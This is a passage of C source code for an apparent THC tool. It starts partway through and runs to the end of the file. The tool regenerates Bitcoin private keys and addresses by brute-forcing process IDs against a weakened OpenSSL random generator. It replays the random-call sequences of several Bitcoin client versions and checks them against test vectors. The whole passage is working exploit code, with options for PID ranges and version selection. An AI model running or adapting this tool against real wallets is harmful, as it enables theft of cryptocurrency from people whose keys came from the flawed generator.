"1Q9Fj9JnVbvWBLu21AM3XY7VMCy2DpK8Ex")) 381 | ERREXIT("SelfCheck failed\n"); 382 | if (strcmp(b58cp2pkh, "14sDGtCYHNqn1rwqXx8ZRBVt19vX4ytib3")) 383 | ERREXIT("SelfCheck failed\n"); 384 | if (strcmp(b58cp2sh, "31rT4QFXcJHcdipbaNZfT9TmZXGwVHJDy9")) 385 | ERREXIT("SelfCheck failed\n"); 386 | 387 | RAND_add(NULL, 8, 0); // ReserverKey.. -> Gen... -> Perfmon 388 | if (! (EC_KEY_generate_key(myecc))) 389 | ERREXIT("EC_KEY_generate_key() failed. We fucked up.\n"); 390 | CreateAddress(myecc, b58up2pkh, b58cp2pkh, b58cp2sh); 391 | if (strcmp(b58up2pkh, "1FEQrQ1cvwuH19eT8knqUHjsjAuvtvQFPr")) 392 | ERREXIT("SelfCheck failed\n"); 393 | 394 | /* Create an address that is 1 octet shorter when b58 encoded */ 395 | THC_hitme(0); 396 | THC_hitme(31342); 397 | RAND_add(NULL, 8, 0); 398 | RAND_add(NULL, 8, 0); 399 | 400 | RAND_add(NULL, 8, 0); 401 | if (! (EC_KEY_generate_key(myecc))) 402 | ERREXIT("EC_KEY_generate_key() failed. We fucked up.\n"); 403 | CreateAddress(myecc, b58up2pkh, b58cp2pkh, b58cp2sh); 404 | /* Check against a short BTC address */ 405 | if (strcmp(b58up2pkh, "1f9zW98RUdaNUvpQCiFeWRz6Ns5GGTsyh")) 406 | ERREXIT("SelfCheck failed\n"); 407 | 408 | RAND_add(NULL, 8, 0); // ReserverKey.. -> Gen... -> Perfmon 409 | if (! (EC_KEY_generate_key(myecc))) 410 | ERREXIT("EC_KEY_generate_key() failed. We fucked up.\n"); 411 | CreateAddress(myecc, b58up2pkh, b58cp2pkh, b58cp2sh); 412 | if (strcmp(b58up2pkh, "1HeXLUdkuC7pbwfuu7XRrhP5gVvzxGsoPL")) 413 | ERREXIT("SelfCheck failed\n"); 414 | } 415 | 416 | static void 417 | SelfCheck_le64(void) 418 | { 419 | unsigned char b58up2pkh[35]; 420 | unsigned char b58cp2pkh[35]; 421 | unsigned char b58cp2sh[35]; 422 | char buf[32]; 423 | 424 | /* 0.8.6-qt */ 425 | THC_hitme(0); 426 | THC_hitme(31337); 427 | RAND_add(NULL, 8, 1.5); 428 | RAND_bytes(buf, 32); 429 | RAND_add(NULL, 8, 1.5); 430 | 431 | RAND_add(NULL, 8, 1.5); 432 | if (! (EC_KEY_generate_key(myecc))) 433 | ERREXIT("EC_KEY_generate_key() failed. We fucked up.\n"); 434 | CreateAddress(myecc, b58up2pkh, b58cp2pkh, b58cp2sh); 435 | if (strcmp(b58cp2pkh, "1ERT6h4XfbjVsnMW6TdNi2p1DwcWZfSpff")) 436 | ERREXIT("SelfCheck failed\n"); 437 | 438 | /* 0.8.6-d */ 439 | THC_hitme(0); 440 | THC_hitme(31337); 441 | RAND_bytes(buf, 32); 442 | RAND_add(NULL, 8, 1.5); 443 | RAND_add(NULL, 8, 1.5); 444 | 445 | RAND_add(NULL, 8, 1.5); 446 | if (! (EC_KEY_generate_key(myecc))) 447 | ERREXIT("EC_KEY_generate_key() failed. We fucked up.\n"); 448 | CreateAddress(myecc, b58up2pkh, b58cp2pkh, b58cp2sh); 449 | if (strcmp(b58up2pkh, "1B3HgvHC7vcppNGWtQRVVDqoTAqb5VVQST")) 450 | ERREXIT("SelfCheck failed\n"); 451 | if (strcmp(b58cp2pkh, "16nDnwGcQ9EUbveRBKQzzWAWS39tbuHgTJ")) 452 | ERREXIT("SelfCheck failed\n"); 453 | if (strcmp(b58cp2sh, "3CrxV6FcHXPYjoPxHnq6W7DtXB85yTrDe9")) 454 | ERREXIT("SelfCheck failed\n"); 455 | } 456 | 457 | static void 458 | SelfCheck(void) 459 | { 460 | 461 | if (gopt.flags & FL_SKIP_SELFCHECK) 462 | return; 463 | 464 | if (gopt.arch == 32) 465 | SelfCheck_le32(); 466 | else if (gopt.arch == 64) 467 | SelfCheck_le64(); 468 | else 469 | ERREXIT("Unknown Architecture: %d\n", gopt.arch); 470 | } 471 | 472 | 473 | static void 474 | init_defaults() 475 | { 476 | /* Init some defaults */ 477 | gopt.pid_start = 0; 478 | gopt.pid_end = 32768; 479 | gopt.n_keys = 10; 480 | gopt.prog = -1; 481 | gopt.arch = sizeof (void *) * 8; 482 | 483 | switch (gopt.arch) 484 | { 485 | case 32: 486 | gopt.arch_str = "le32"; 487 | break; 488 | case 64: 489 | /* Ignore big endian for now. Dont think many used that */ 490 | gopt.arch_str = "le64"; 491 | break; 492 | default: 493 | ERREXIT("Unknown architecture: %d\n", gopt.arch); 494 | } 495 | } 496 | 497 | static void 498 | usage(int argc, char *argv[]) 499 | { 500 | fprintf(stderr, "Version %s (%s)\n" 501 | "Usage:\n" 502 | "-p n-m Brute Force between PID n-m [default %d-%d]\n" 503 | "-n Create num number of keys per PID [default: %d]\n" 504 | "-l Show all supported BTC versions\n" 505 | "-v Which BTC version to run (Try -l to find number) [0-%zu]\n" 506 | "-x Skip Self-Check\n" 507 | "", 508 | VERSION, gopt.arch_str, gopt.pid_start, gopt.pid_end, gopt.n_keys, sizeof progs / sizeof *progs - 1); 509 | 510 | 511 | exit(0); 512 | } 513 | 514 | static void 515 | do_getopts(int argc, char *argv[]) 516 | { 517 | 518 | int c; 519 | char *str; 520 | int i; 521 | 522 | while ((c = getopt(argc, argv, "lxhp:n:v:")) != -1) 523 | { 524 | switch (c) 525 | { 526 | case 'v': 527 | gopt.prog = atoi(optarg); 528 | 529 | break; 530 | case 'l': 531 | for (int i = 0; i < sizeof progs / sizeof *progs; i++) 532 | printf("#%d\t - %s\n", i, progs[i].ver); 533 | exit(0); 534 | break; 535 | case 'x': 536 | gopt.flags |= FL_SKIP_SELFCHECK; 537 | break; 538 | case 'h': 539 | usage(argc, argv); 540 | break; 541 | case 'n': 542 | gopt.n_keys = atoi(optarg); 543 | if (gopt.n_keys <= 0) 544 | ERREXIT("Wrong parameter: use -n \n"); 545 | break; 546 | case 'p': 547 | str = strchr(optarg, '-'); 548 | if (str == NULL) 549 | ERREXIT("Wrong parameter: User -p n-m\n"); 550 | gopt.pid_start = atoi(optarg); 551 | str++; 552 | gopt.pid_end = atoi(str); 553 | if ((gopt.pid_start > gopt.pid_end) || (gopt.pid_start <= 0)) 554 | ERREXIT("Wrong parameter: User -p n-m\n"); 555 | break; 556 | } 557 | } 558 | 559 | if (gopt.prog < 0) 560 | ERREXIT("Specify -v \n"); 561 | if (gopt.prog >= sizeof progs / sizeof *progs) 562 | ERREXIT("-v %d - PROGRAMM DOES NOT EXIST\n", gopt.prog); 563 | 564 | //fprintf(stderr, "Stats: Pid %d - %d\n", gopt.pid_start, gopt.pid_end); 565 | } 566 | 567 | static void 568 | prog_run(pid_t pid, prog_t *p) 569 | { 570 | unsigned char b58up2pkh[35]; 571 | unsigned char b58cp2pkh[35]; 572 | unsigned char b58cp2sh[35]; 573 | char buf[32]; 574 | 575 | 576 | THC_hitme(0); // Reset state 577 | THC_hitme(pid); // Set PID 578 | 579 | int i = 0; 580 | for (i = 0; p->setup[i] != 0; i++) 581 | { 582 | if (p->setup[i] == -2) 583 | { 584 | RAND_bytes(buf, 32); 585 | continue; 586 | } 587 | if (p->setup[i] == -3) 588 | { 589 | RAND_add(NULL, 8, 0); 590 | continue; 591 | } 592 | if (p->setup[i] > 0) 593 | { 594 | for (int n=0; n < p->setup[i]; n++) 595 | { 596 | RAND_bytes(buf, 8); 597 | } 598 | continue; 599 | } 600 | ERREXIT("Wrong value in setup programm: %d\n", p->setup[i]); 601 | } 602 | 603 | int n; 604 | for (n = 0; n < gopt.n_keys; n++) 605 | { 606 | for (i = 0; p->gen[i] != 0; i++) 607 | { 608 | if (p->gen[i] == -1) 609 | { 610 | if (! (EC_KEY_generate_key(myecc))) 611 | ERREXIT("EC_KEY_generate_key() failed. We fucked up.\n"); 612 | CreateAddress(myecc, b58up2pkh, b58cp2pkh, b58cp2sh); 613 | PrintAddress(b58up2pkh, b58cp2pkh, b58cp2sh); 614 | break; 615 | } 616 | if (p->gen[i] == -3) 617 | { 618 | RAND_add(NULL, 8, 0); 619 | continue; 620 | } 621 | ERREXIT("Wrong value in gen programm: %d\n", p->gen[i]); 622 | } 623 | } 624 | } 625 | 626 | void 627 | do_hack(void) 628 | { 629 | unsigned char b58up2pkh[35]; 630 | unsigned char b58cp2pkh[35]; 631 | unsigned char b58cp2sh[35]; 632 | char buf[32]; 633 | int i; 634 | 635 | THC_hitme(0); 636 | THC_hitme(31337); 637 | 638 | for (i = 0; i < 1800; i++) 639 | RAND_bytes(buf, 8); 640 | RAND_bytes(buf, 32); /* 0.9.1: 0.9.4 has this BEFORE the loop! */ 641 | RAND_add(NULL, 8, 1.5); 642 | 643 | RAND_add(NULL, 8, 1.5); 644 | if (! (EC_KEY_generate_key(myecc))) 645 | ERREXIT("EC_KEY_generate_key() failed. We fucked up.\n"); 646 | CreateAddress(myecc, b58up2pkh, b58cp2pkh, b58cp2sh); 647 | 648 | exit(0); 649 | } 650 | 651 | /* 10 keys for 1000 pids on 9 programms takes 4 mins 652 | * Thus full run on 32768 PIDs will take 2h10min 653 | */ 654 | 655 | //STOP HERE: Research other BTC version about calls to RAND_* functions 656 | //and especially RAND_bytes() calls... 657 | 658 | /* 659 | * - for each PID generate the 10 first keys. 660 | * - Brute force through different version: 661 | * 662 | */ 663 | int 664 | main(int argc, char *argv[]) 665 | { 666 | init_defaults(); 667 | do_getopts(argc, argv); 668 | 669 | 670 | OpenSSL_add_all_algorithms(); 671 | 672 | myecc = EC_KEY_new_by_curve_name(OBJ_txt2nid(ECCTYPE)); 673 | 674 | // if we dont set this then we get a long key with //// in there 675 | // EC_KEY_set_asn1_flag(myecc, OPENSSL_EC_NAMED_CURVE); 676 | 677 | /* Verify that broken PRNG is used with known Test Vectors */ 678 | SelfCheck(); 679 | //do_hack(); 680 | 681 | int i; 682 | i = gopt.pid_start; 683 | printf("Stats: Version %s, Arch %s, keys %d, Pid %d-%d\n", progs[gopt.prog].ver, gopt.arch_str, gopt.n_keys, gopt.pid_start, gopt.pid_end); 684 | for (i = gopt.pid_start; i <= gopt.pid_end; i++) 685 | { 686 | prog_run(i, &progs[gopt.prog]); 687 | } 688 | 689 | exit(0); // FUCK THE HACKERS 690 | } 691 | --------------------------------------------------------------------------------